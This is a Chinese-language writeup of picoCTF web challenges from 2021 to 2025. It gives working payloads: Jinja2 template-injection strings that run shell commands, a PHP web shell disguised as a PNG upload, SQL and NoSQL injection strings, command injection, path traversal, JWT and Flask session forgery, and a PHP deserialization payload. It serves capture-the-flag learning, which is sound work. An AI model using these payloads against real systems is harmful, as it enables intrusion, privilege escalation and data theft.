# picoCTF Web writeup
picoCTF Web Challenge Writeup
[TOC]
## picoCTF 2025
### SSTI1
> EASY
有一個輸入框 什麼都沒有檔 直接 `SSTI` 就好
payload :
```
{{lipsum.__globals__.os.popen('cat flag').read()}}
```
---
### n0s4n1ty 1
> EASY
有一個上傳頁面 題目沒有限制上傳內容 直接上傳一個簡單的 php shell
```php
<?php system($_GET['cmd']); ?>
```
題目說 flag 在 `/root` 嘗試讀取發現看不到 用 `sudo -l` 查看有沒有不用密碼就可以執行的指令
```
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL
```
發現到全部的指令都可以執行 直接以 `root` 權限開啟 `/root` 底下的 `flag.txt` 就可以了
```
http://<url>/uploads/shell.php?cmd=sudo%20cat%20/root/flag.txt
```
---
### head-dump
> EASY
題目提到和後端有關 猜測是 `API` 找到 `/api-docs` 這個路徑
進到頁面後發現有一個叫 `/heapdump` 可以用來 dump 記憶體

用 curl dump 出來後 再用 `grep` 過濾出 flag 關鍵字
```bash
curl -s http://verbal-sleep.picoctf.net:61951/heapdump | grep "picoCTF{"
```
---
### Cookie Monster Secret Recipe
> EASY
一個登入頁面 隨便登入後 cookie 就會多一個 `secret_recipe` 做 `base64` decode 就好了
---
### Pachinko
> MEDIUM
這題是一個有關 NAND 電路之類的東西 但其實不用管那麼多 我們只需要知道他在記憶體某個時候會送出第一個 flag
所以我們用爆破的 可以寫個腳本 ~~也可以像我一樣用陽壽換~~ 下面這張圖是我偶然按出來的

---
### SSTI2
> MEDIUM
這題有多了一些黑名單 所以直接用一個沒有 `{{` `}}` `_` `.` `[` `]` 的 payload 就過了
```
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat${IFS}flag.txt')|attr('read')()%}{%print(a)%}{%endwith%}
```
---
### 3v@l
> MEDIUM
這題是一題用 web 包裝的 pyjail 題目 提示說 flag 在 `/flag.txt`
嘗試直接 `open('flag.txt')` 但輸出 `Error: Detected forbidden keyword`
所以可以猜測會擋掉一些字元 經過測試後得出
payload : `open(chr(47)+"flag"+"."+"txt").read()`
---
### WebSockFish
> MEDIUM
這題是一個西洋棋的遊戲 根據提示可以知道跟 `websocket` 有關
嘗試移動棋子後從 `burp suite` 查看 `websocket` 紀錄 就可以知道送出的內容

從 source code 可以找到 websocket 的 URL
```javascript
var ws_address = "ws://" + location.hostname + ":" + location.port + "/ws/";
const ws = new WebSocket(ws_address);
ws.onmessage = (event) => {
const message = event.data;
updateChat(message);
};
function sendMessage(message) {
ws.send(message);
}
function updateChat(message) {
const chatText = $("#chatText");
chatText.text(message);
}
```
得到這些資訊後 我們可以自己連接到 `websocket` 伺服器並傳送訊息
```bash
wscat -c ws://verbal-sleep.picoctf.net:57518/ws/
```
嘗試幾次後發現使用極大的負值就可以出 flag 了
payload : `eval -9999999999`
---
### Apriti sesamo
> MEDIUM
這題是一個登入頁面 根據提示的 `backup` `emacs` 我們可以嘗試在 php 後面加 `~`
> 在 emacs 中 `php~` 是 `php` 的備份檔案
```
http://verbal-sleep.picoctf.net:63073/impossibleLogin.php~
```
查看 source code 後會發現最下面多了一行經過混淆的 php 推測是這個登入頁面的原始碼
```php
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
```
可以看到程式碼中有很多的 `UTF-8` 字串 丟到 [cyberchef](https://gchq.github.io/CyberChef/) 用 `unescape string` 後得到
```php
<?php
if(isset($_POST[base64_decode("dXNlcm5hbWU=")])&& isset($_POST[base64_decode("cHdk")])){$yuf85e0677=$_POST[base64_decode("dXNlcm5hbWU=")];$rs35c246d5=$_POST[base64_decode("cHdk")];if($yuf85e0677==$rs35c246d5){echo base64_decode("PGJyLz5GYWlsZWQhIE5vIGZsYWcgZm9yIHlvdQ==");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("Li4vZmxhZy50eHQ="));}else{echo base64_decode("PGJyLz5GYWlsZWQhIE5vIGZsYWcgZm9yIHlvdQ==");}}}?>
```
看到有很多 `base64` 字串 於是把這些字串解密後 再整理一下程式後得到
```php
<?php
if (isset($_POST['username']) && isset($_POST['pwd'])) {
$yuf85e0677 = $_POST['username'];
$rs35c246d5 = $_POST['pwd'];
if ($yuf85e0677 == $rs35c246d5) {
echo "<br/>Failed! No flag for you.";
} else {
if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
echo file_get_contents("../flag.txt");
} else {
echo "<br/>Failed! No flag for you.";
}
}
}
?>
```
現在很清楚了 我們可以發現 `sha1` 碰撞行不通 嘗試用陣列的方式繞過
這可以成功的原因是因為第一個 `==` 因為一個的值是 `1` 一個是 `2` 所以可以通過
第二個 `===` 因為 `sha1()` 傳入陣列會報錯所以值變成 `null` 兩個都是 `null` 就通過了
payload : `username[]=1&pwd[]=2`
---
### secure-email-service [Not Solved]
> HARD
### Pachinko Revisited [Not Solved]
> HARD
---
## picoCTF 2024
### WebDecode
> EASY
這題很簡單,F12按下去,找到一串hash,直接base64
---
### Unminify
> EASY
這題感覺又更簡單,直接找就有了
---
### IntroToBurp
> EASY
根據題目先開Burp,網站一開始有個註冊頁面,隨便輸入後發現接著要2FA驗證,一樣隨便輸入,從Burp看到他只是送了一行`otp=a`,那我們把這行刪掉就可以了!

---
### Bookmarklet
> EASY
把題目給的script跑一次就過了
---
### Trickster
> MEDIUM
這題是一題經典的File upload的題目,先看看他的`robots.txt`,發現有兩個路徑

查看`/instructions.txt`,發現他只檢查最前面幾個bytes,於是我們就可以製作shell

網路上找一個簡單的php shell最上面加上`PNG`來bypass,因為也會檢查檔名,所以我把檔名設為`test.png.php`,再到HTML中把限制副檔名那個地方刪掉,成功上傳後透過剛剛發現的路徑進入到`/uploads/test.png.php`,就可以執行shell,`ls`後發現只有`test.png.php`,於是我們執行`ls ../`來查看上一層目錄,發現有個奇怪的檔案`MFRDAZLDMUYDG.txt`,打開它就得到flag了
```htmlembedded=
PNG
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
```
---
### No Sql Injection
> MEDIUM
這題給了一個登入的頁面 查看 source code 後發現是用 mongo DB
在根據題目可以知道會是 [No SQL Injection](https://book.hacktricks.xyz/pentesting-web/nosql-injection)
這段程式碼會建立一個用戶
```javascript=
// Store initial user
const initialUser = new User({
firstName: "pico",
lastName: "player",
email: "picoplayer355@picoctf.org",
password: crypto.randomBytes(16).toString("hex").slice(0, 16),
});
await initialUser.save();
```
從這裡可以得知 flag 在 token 裡面 而 token 要在登入後才能得到
```javascript=
const userSchema = new mongoose.Schema({
email: { type: String, required: true, unique: true },
firstName: { type: String, required: true },
lastName: { type: String, required: true },
password: { type: String, required: true },
token: { type: String, required: false, default: "{{Flag}}" },
});
```
從登入頁面可以知道是使用 email 和 password 登入

用已知用戶和 payload 登入
email : `picoplayer355@picoctf.org`
password : `{"$ne": null}`
成功登入後在 Response 中可以找到 token
Base64 解碼後就可以得到 flag 了

---
### elements [Not Solved]
> HARD
---
## picoCTF 2023
### SOAP
> MEDIUM
題目給了一個網站 發現按下 `Details` 會做 POST `/data` 的動作


用 BurpSuite 可以觀察到可能有 [XXE Injection](https://ithelp.ithome.com.tw/articles/10339624)

找到 payload 後 再次 POST `/data` 就可以得到 flag 了

---
### More SQLi
> MEDIUM
這題給了一個登入頁面 從標題得知是 SQL Injection 嘗試簡單的 payload 後就可以成功登入了
```
username : admin
password : ' or 1=1 --
```
發現這裡還有一個查詢 可以推測也是 SQL Injection

因為有 `City` `Address` `Phone` 這三個欄位
可以推測查詢有三欄 用 `UNION` 來測試 成功注入後嘗試尋找有哪些表

從提示中得知使用的是 SQL Lite

搜尋到 SQL Lite 可以 dump 出所有 tables 的語法
```sql=
'UNION SELECT name,sql,null FROM sqlite_master --
```
找到這些 tables 後發現在 `more_table` 中有 flag

使用語法指定 `more_table` 這張表來搜尋就可以得到 flag 了
```sql=
'UNION SELECT flag,null,null FROM more_table --
```

---
### MatchTheRegex
> MEDIUM
這題給了一個驗證輸入的框框 通過驗證就會出 flag
找到驗證的這段 js

發現只要開頭為 `picoCTF` 就可以得到 flag 了

---
### findme
> MEDIUM
題目一開始是一個登入頁面 用給定的帳號 `test` 密碼 `test!` 登入
登入後捕捉到有兩個網址很特別 發現是兩段 base64 解碼後就可以得到 flag 了

```bash=
echo 'cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5XzI1YmJhZTlhfQ==' | base64 -d
```
---
### Java Code Analysis!?!
> MEDIUM
這題是一個線上書店 用給定的帳號密碼登入後 查看收到的 Response 後發現有一段 jwt token

用 `jwt-cracker` 和 `rockyou.txt` 爆破這段 jwt token 找到密碼 `1234` 後
```bash=
jwt-cracker -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTczMDI3MzI5OSwiaWF0IjoxNzI5NjY4NDk5LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7_smQO0ZdKAze1AzVWXyBsfsDwQM_Qr3PyjpzPWrtoM -d ~/Desktop/ctf/rockyou.txt
```
從這 `Role.js` 中可以知道 ID 要高一點 現在的是 1 所以我們改成 2

從 `BookShelfConfig.java` 中可以知道 `Admin` 的 Email 是 `admin`

用 [jwt token 的編輯器](https://jwt.io/)製作 admin 的 token

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiQWRtaW4iLCJpc3MiOiJib29rc2hlbGYiLCJleHAiOjE3MzAyNzY1NjgsImlhdCI6MTcyOTY3MTc2OCwidXNlcklkIjoyLCJlbWFpbCI6ImFkbWluIn0.IW-GT6cMsxBsCDHvgOleIS-X3PSnR6txj5eujI9WJ-k
```
用這個 token 訪問 flag 頁面即可得到 flag

---
### msfroggenerator2 [Not Solved]
> HARD
### cancri-sp [Not Solved]
> HARD
---
## picoCTF 2022
### Local Authority
> EASY
隨便登入一次後會有`secure.js`,裡面就有Admin的帳號和密碼
---
### Inspect HTML
> EASY
F12 --> FLAG
---
### Includes
> EASY
在`style.css`和`script.js`裡面各有一半的flag
---
### SQLiLite
> MEDIUM
這的是一個登入頁面 用最簡單的 payload `' or 1=1 --` 就可以登入成功了
flag 就在 source code 裡面

---
### SQL Direct
> MEDIUM
這題給了 PostgreSQL 的連線資訊 登入進去後使用 `\dt` 列出所有 tables
使用 `\d flags` 來列出 `flags` 中的欄
最後用 SQL 語法讀取 `flags` 中的內容就可以找到 flag 了
```sql=
SELECT * FROM flags;
```
---
### Secrets
> MEDIUM
這題給了一個普通的網站 查看 source code 發現有個 `/serect/` 路徑

進入這個路徑後找到了另一個路徑 `/hidden/`

進到這裡後又找到另一個 `/superhidden/`

進到最後一個就可以找到 flag 了

---
### Search source
> MEDIUM
這題是一個很普通的網站 看起來沒什麼問題 根據提示說 flag 藏在 source code
按照提示用 `httrack` 把網站下載下來
```bash=
httrack http://saturn.picoctf.net:57676/
```
用 `grep` 尋找有 `picoCTF` 的字串就可以找到 flag 了

---
### Roboto Sans
> MEDIUM
根據題目的 `Roboto` 推測和 `robots.txt` 有關
進入 `robots.txt` 後發現有一行看起來很像 base64

解碼後得到路徑 `js/myfile.txt` 進入 `myfile.txt` 就可以找到 flag 了
---
### Power Cookie
> MEDIUM
題目一進來有個按鈕 按下去後發現 cookie 多了一個 `isAdmin`

把值改成 `1` 後重新整理頁面就可以得到 flag 了
---
### Forbidden Paths
> MEDIUM
這題是一個讀檔案的頁面 題目說 flag 在 `/flag.txt` 當前目錄是 `/usr/share/nginx/html`
使用點點斜就可以得到 flag
```
../../../flag.txt
```
---
### noted [Not Solved]
> HARD
---
### Live Art [Not Solved]
> HARD
---
## picoMini by redpwn
### caas
> MEDIUM
:::spoiler `index.js`
```javascript=
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
```
:::
這個網站只有一個功能,他會執行 `cowsay` 這個指令
在本地測試執行看看指令 發現可以執行 bash command
```bash
❯ cowsay `ls`
______
< test >
------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
❯ ls
test
```
payload : `https://caas.mars.picoctf.net/cowsay/%60cat%20falg.txt%60`
---
### login
> MEDIUM
這題是一個登入頁面,查看 `index.js`
:::spoiler `index.js`
```javascript=
(async () => {
await new Promise((e) => window.addEventListener("load", e)),
document.querySelector("form").addEventListener("submit", (e) => {
e.preventDefault();
const r = { u: "input[name=username]", p: "input[name=password]" },
t = {};
for (const e in r)
t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
return "YWRtaW4" !== t.u
? alert("Incorrect Username")
: "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p
? alert("Incorrect Password")
: void alert(`Correct Password! Your flag is ${atob(t.p)}.`);
});
})();
```
:::
發現這個登入的邏輯就把帳號密碼寫出來了
把密碼 `cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ` 做base64decode 後就可以得到 flag 了
---
### notepad
> HARD
:::spoiler `app.py`
```python=
from werkzeug.urls import url_fix
from secrets import token_urlsafe
from flask import Flask, request, render_template, redirect, url_for
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html", error=request.args.get("error"))
@app.route("/new", methods=["POST"])
def create():
content = request.form.get("content", "")
if "_" in content or "/" in content:
return redirect(url_for("index", error="bad_content"))
if len(content) > 512:
return redirect(url_for("index", error="long_content", len=len(content)))
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
with open(name, "w") as f:
f.write(content)
return redirect(name)
```
:::
從 `server.py` 可以發現這個網頁可以建立一個新的頁面,並且會以數入內容的前 128 個字元為檔名的前半部分,後半部分則是字串隨機的數列
但他會過濾掉 `_` 和 `/`因為後面會執行 `url_fix` 所以可以把 `/` 改為使用 `\` 就可以 bypass 了
:::spoiler `index.html`
```html=
<!doctype html>
{% if error is not none %}
<h3>
error: {{ error }}
</h3>
{% include "errors/" + error + ".html" ignore missing %}
{% endif %}
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
```
:::
在 `index.hmtl` 中可以發現在 error 的部分會檢查 url 中 `/?error=` 的參數
在 `/templates/errors/` 是否有一樣此檔名的 html
如果有就會用模板開啟這個檔案 如果沒有就會直接顯示參數
試著在 `errors` 建立一個測試檔案 在輸入匡輸入 `..\templates\errors\test`
得到 `https://notepad.mars.picoctf.net/templates/errors/test-QIRu4cYzeFM.html` 後
使用 `/?error=` 訪問 test 就可以得到我們剛剛在輸入匡輸入的內容
`https://notepad.mars.picoctf.net/?error=test-QIRu4cYzeFM`
因為知道網站是用 flask 架的,所以可以使用 jinjia2 SSTI
要讓攻擊被模板讀取,就必須確保攻擊字段不會被當作檔名
因為檔名只會取前 128 個字元,所以可以塞一個長度為 128 的 padding 來 bypass
後面再串接上攻擊的語法
payload = `
```
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{config}}
```
成功執行後 我們可以從 source code 知道 `_` 和 `/` 會被過濾掉 於是用超級 payload 就可以了

> 這個 payload 可以繞過 `{{` `}}` `_` `.` `[` `]`
final payload :
```
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat${IFS}flag*')|attr('read')()%}{%print(a)%}{%endwith%}
```
---
## picoCTF 2021
### Cookies
> EASY
有兩種解法,一種是自己慢慢try,把cookies try到18就有flag了,另一種是利用Burp的Intruder,把request送到Intruder,把我們要payload的部分變成`§0§`,到payload的頁面把數值設定為1~20,逐個去看response,到第18個就有了
---
### Scavenger Hunt
> EASY
一開始先看html,js和css,HTML中有第一段flag,`mycss.css`中有第二段flag,根據`myjs.js`中的提示可以推斷是指`robots.txt`中有第三段flag,根據`robots.txt`中提到apache可以推斷`.htaccess`中有第四段flag,根據剛剛`.htaccess`中說到是在mac上架的所以可以知道`.DS_Store`中有最後一段flag
---
### GET aHEAD
> EASY
這題進去後有兩個按鈕可以改變背景顏色 一個變紅色 一個變藍色
觀察 source code 發現一個是用 GET 一個是用 POST
用 `curl` 查看 Header 就可以找到 flag
```bash=
curl --head http://mercury.picoctf.net:34561/index.php
curl -I http://mercury.picoctf.net:34561/index.php
```
> `-I` 和 `--head` 都可以

---
### Super Serial
> MEDIUM
用 `index.phps` 查看 `index.php` 的 source code
發現還有`cookie.php` 和 `authentication.php` 用 `phps` 查看他們的 source code

發現 `authentication.php` 可以直接進入 guest 登入後的頁面
在 `cookie.php` 發現會驗證 cookie

從上面我們知道他會取得解碼我們的 cookie 但因為我們 cookie 中沒有 is_guest 函數 所以會報錯
報錯後會執行我們送出去的字串 所以可以利用這點來指定要開啟的 log_file

題目說 flag 在 `../flag` 自製 payload
```php=
<?php
class access_log
{
public $log_file = "../flag";
}
print(urlencode(base64_encode(serialize(new access_log()))))
?>
```
按照上面寫的解碼方式加密回去我們要搜尋的 flag
得到 payload 後在 `authentication.php` 建立一個 `login` cookie 並重新整理就可以得到 flag 了
```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

---
### Most Cookies
> MEDIUM
```python=
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
@app.route("/")
def main():
if session.get("very_auth"):
check = session["very_auth"]
if check == "blank":
return render_template("index.html", title=title)
else:
return make_response(redirect("/display"))
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
```
根據上面的片段,可以知道會隨機從 cookie_names 裡面選一個當作 secret_key
```python=
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
```
這一個片段又告訴我們訪問 `/display` 時,會檢查 `very_auth` 是否為 `admin`
所以我們可以使用 [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) 這套工具來暴力破解 secret_key
> flask-unsign 是一套專門用來解密和破解 flask 的 ssesion cookie 的工具
> 可以使用預設的字典檔 flask-unsign[wordlist]
> 也可以不下載字典檔只使用 flask-unsign 即可
把 cookie 寫入 cookie.txt 再把 cookie_names 按照字典檔的方式寫入 wordlist.txt
```
snickerdoodle
chocolate chip
oatmeal raisin
gingersnap
shortbread
peanut butter
...
```
> wordlist.txt
再按照官方文檔使用指令
```bash=
flask-unsign --unsign --cookie < cookie.txt --wordlist wordlist.txt
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'fortune'
```
找到 secret_key 後就可以製作 `very_auth` 為 `admin` 的 session cookie
```bash=
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret 'fortune'
```
再把瀏覽器中的 cookie 替換為修改後的 cookie,接著只要訪問 `/display` 即可得到 flag

---
### Web Gauntlet 2
> MEDIUM
查看 `filter.php` 中被過濾的字元
```
Filters: or and true false union like = > < ; -- /* */ admin
```
簡單測試一下 SQL 語法
```
SELECT username, password FROM users WHERE username='a' AND password='a'
```
題目說需要使用 `admin` 登入,發現串接字元 `||` 沒有被 ban
所以可以把 `admin` 改用串接的方式
```
ad'||'min
```
在密碼的部分,因為沒辦法使用註解,我們可以從最常見的 payload 來思考
```
admin' or 1=1 --
```
最常見的這個 payload 在指定使用者名稱為 `admin` 後,確保第二個查詢恆正
所以我們現在需要讓查詢密碼的地方恆正,`or` 不能用的話改用`is not`
```
a'is not'b
```
這樣就可以成功登入了,接著到 `filter.php` 重新載入就可以得到 flag 了
---
### Some Assembly Required 1
> MEDIUM
這題給了一個檢查 flag 的網站,找到 `G82XCw5CX3.js` 得到一串 js
```javascript=
const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}
```
美化排版和格式後,看起來像是經過混淆的程式碼,丟到[deobfuscate.io](https://obf-io.deobfuscate.io/)後做code review
```javascript=
(async () => {
let _0x5f0229 = await fetch(_0x4e0e(0x1e9));
let _0x1d99e9 = await WebAssembly[_0x4e0e(0x1df)](await _0x5f0229[_0x4e0e(0x1da)]());
let _0x1f8628 = _0x1d99e9[_0x4e0e(0x1d6)];
exports = _0x1f8628.exports;
})();
```
這邊可以發現他會 fetch 一個檔案
```javascript=
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function (_0x553839, _0x53c021) {
_0x553839 = _0x553839 - 0x1d6;
let _0x402c6f = _0x402c[_0x553839];
return _0x402c6f;
};
```
把上面的值代入 `_0x4e0e` 可以知道到他會回傳 `0x1e9 - 0x1d6` 也就是 `19` 的值
```javascript=
const _0x402c = ["value","2wfTpTR","instantiate","275341bEPcme","innerHTML","1195047NznhZg","1qfevql","input","1699808QuoWhA","Correct!","check_flag","Incorrect!","./JIFxzHyW8W","23SMpAuA","802698XOMSrr","charCodeAt","474547vVoGDO","getElementById","instance","copy_char","43591XxcWUl","504454llVtzW","arrayBuffer","2NIQmVj","result"];
const _0x4e0e = function (_0x553839, _0x53c021) {
_0x553839 = _0x553839 - 0x1d6;
let _0x402c6f = _0x402c[_0x553839];
return _0x402c6f;
};
(function (_0x76dd13, _0x3dfcae) {
const _0x371ac6 = _0x4e0e;
while (!![]) {
try {
const _0x478583 =
-parseInt(_0x371ac6(0x1eb)) +
parseInt(_0x371ac6(0x1ed)) +
-parseInt(_0x371ac6(0x1db)) * -parseInt(_0x371ac6(0x1d9)) +
-parseInt(_0x371ac6(0x1e2)) * -parseInt(_0x371ac6(0x1e3)) +
-parseInt(_0x371ac6(0x1de)) * parseInt(_0x371ac6(0x1e0)) +
parseInt(_0x371ac6(0x1d8)) * parseInt(_0x371ac6(0x1ea)) +
-parseInt(_0x371ac6(0x1e5));
if (_0x478583 === _0x3dfcae) break;
else _0x76dd13["push"](_0x76dd13["shift"]());
} catch (_0x41d31a) {
_0x76dd13["push"](_0x76dd13["shift"]());
}
}
})(_0x402c, 0x994c3);
console.log(_0x402c[19])
```
因為他還會做一段混淆,把 `_0x402c` 中的順序打亂,所以直接把這段執行一次就可以得到混淆後的第 19 個值 `./JIFxzHyW8W`
把這個 wasm 下載下來 `http://mercury.picoctf.net:1896/JIFxzHyW8W`
運用線上的 [wasm2wat](https://webassembly.github.io/wabt/demo/wasm2wat/) 就可以得到 flag 了
> wat = webassembly text (wasm text)
---
### Who are you?
> MEDIUM
這題給了一個網站,但完全沒有其他提示,只有一句話
`Only people who use the official PicoBrowser are allowed on this site!`
根據提示給了一個 HTTP 的文檔可以推測~~通靈~~跟 HTTP Header 有關
在 HTTP Header 修改 User-Agent 為 `PicoBrowser`
這次提示訊息變了,下面我直接把每一關列出來
1. `Only people who use the official PicoBrowser are allowed on this site!`
- 更改 User-Agent 確保使用 PicoBrowser 訪問網站
- `User-Agent: PicoBrowser`
2. `I don't trust users visiting from another site.`
- 使用 Referer 指定從哪裡訪問網站的
- `Referer: mercury.picoctf.net:46199`
3. `Sorry, this site only worked in 2018.`
- 更改訪問日期至 2018
- `Date: Mon, 1 Jan 2018 00:00:00 GMT`
4. `I don't trust users who can be tracked.`
- 把 DNT(DoNotTrack) 改為 1
- `DNT: 1`
5. `This website is only for people from Sweden.`
- 隨便找一個 Sweden 的 IP 填進 X-Forwarded-For
- `X-Forwarded-For: 102.177.146.0`
6. `You're in Sweden but you don't speak Swedish?`
- 找到 Sweden 的 Accept-Language 就可以了
- `Accept-Language: sv-SE`
---
### Some Assembly Required 2
> MEDIUM
前面都跟上面那一題一樣的做法,差別在於把 wasm 丟到 [wasm2wat](https://webassembly.github.io/wabt/demo/wasm2wat/) 後並沒有直接顯示 flag
```wat=
(data $d0 (i32.const 1024) "xakgK\5cNs>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00"))
```
原本 flag 這行變成了看不懂的字串,推測是加密後的字串
丟到 [cyberchef](https://gchq.github.io/CyberChef/#recipe=Magic(3,true,false,'')&input=eGFrZ0tcNWNOcz5uO2psOTA7OTptam45bTwwbjk6OjA6Ojg4MTwwMD8%2BdVwwMFwwMA) 的 magic 自動辨識後得到
```
picoCT=kF{6f3bd18312ebf1e48f12282200948876}T88T88
```
把多餘的字元刪除就可以得到 flag 了
---
### Web Gauntlet 3
> MEDIUM
一樣先看 `filter.php`
`Filters: or and true false union like = > < ; -- /* */ admin`
發現上一次使用的都沒有被 ban 所以使用相同 payload 即可
```
ad'||'min
a'is not'b
```
---
### More Cookies
> MEDIUM
~~其實這題根本就是 Crypto~~
一進網站就只有要你變成 admin 查看 cookie 後發現有一個 `auth`
題目敘述:`I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! `
根據題目敘述 因為有 C B C 三個大寫字母 所以可以推測出跟 CBC mode有關
用 Bit-flipping attack 爆破 admin cookie 後
用這個 cookie 重新載入頁面就可以得到 flag 了
